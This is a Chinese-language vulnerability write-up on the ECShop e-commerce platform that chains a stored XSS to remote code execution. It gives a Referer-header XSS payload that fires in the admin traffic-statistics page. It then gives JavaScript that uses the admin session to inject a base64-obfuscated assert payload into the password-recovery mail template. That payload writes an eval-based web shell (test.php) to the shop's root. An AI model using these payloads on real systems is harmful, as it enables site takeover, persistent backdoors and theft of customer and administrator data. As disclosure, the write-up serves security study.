漏洞作者: Flow
1.includes/lib_main.php过滤不严导致XSS
看代码
function visit_stats() { if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off') { return; } $time = gmtime(); /* 检查客户端是否存在访问统计的cookie */ $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1; setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/'); $browser = get_user_browser(); $os = get_os(); $ip = real_ip(); $area = ecs_geoip($ip); /* 语言 */ if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $pos = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';'); $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']); } else { $lang = ''; } /* 来源 */ if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9) { $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);// if ($pos !== false) { $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos); $path = substr($_SERVER['HTTP_REFERER'], $pos); /* 来源关键字 */ if (!empty($domain) && !empty($path)) { save_searchengine_keyword($domain, $path); } } else { $domain = $path = ''; } } else { $domain = $path = ''; } $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' . 'ip_address, visit_times, browser, system, language, area, ' . 'referer_domain, referer_path, access_url, access_time' . ') VALUES (' . "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ". "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')"; $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签 }
取出时也没有过滤,于是产生漏洞
我们来构造一下REFERER
访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/
提交,如图,
管理员查看流量分析时触发,如图
2.打cookie多没意思,咱们getshell吧
构造Referer值为--></script>/
提交
再次构造Referer值为'></graph>"><script src="http:////127.0.0.1//demo.js"><!--/
提交(src后面的js地址必须用反斜杠)
demo.js内容为
Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/ Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&[email protected]', a , "POST", "JSON");/*前台取回密码.这里的vip和[email protected]为前台会员帐号和邮箱,我懒得注册了就用这个测试*/ function a(){ alert(''); }
触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>
这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码
漏洞在includes/cls_template.php的fetch_str()函数
function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |/()/is", "", $source);//过滤了部分php关键词 if(preg_match_all('~(</?(?:/w+|=)?|/?>|language/s*=/s*[/"/']?php[/"/']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo /''.str_replace("'", "/'", $sp_match[1][$curr_sp]).'/'; ?>'."/n", $source); } } return preg_replace("/{([^/}/{/n]*)}/e", "/$this->select('//1');", $source); }
我们可以构造代码到取回邮件模板:
{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<?
执行取回操作即可绕过过滤执行我们构造的代码
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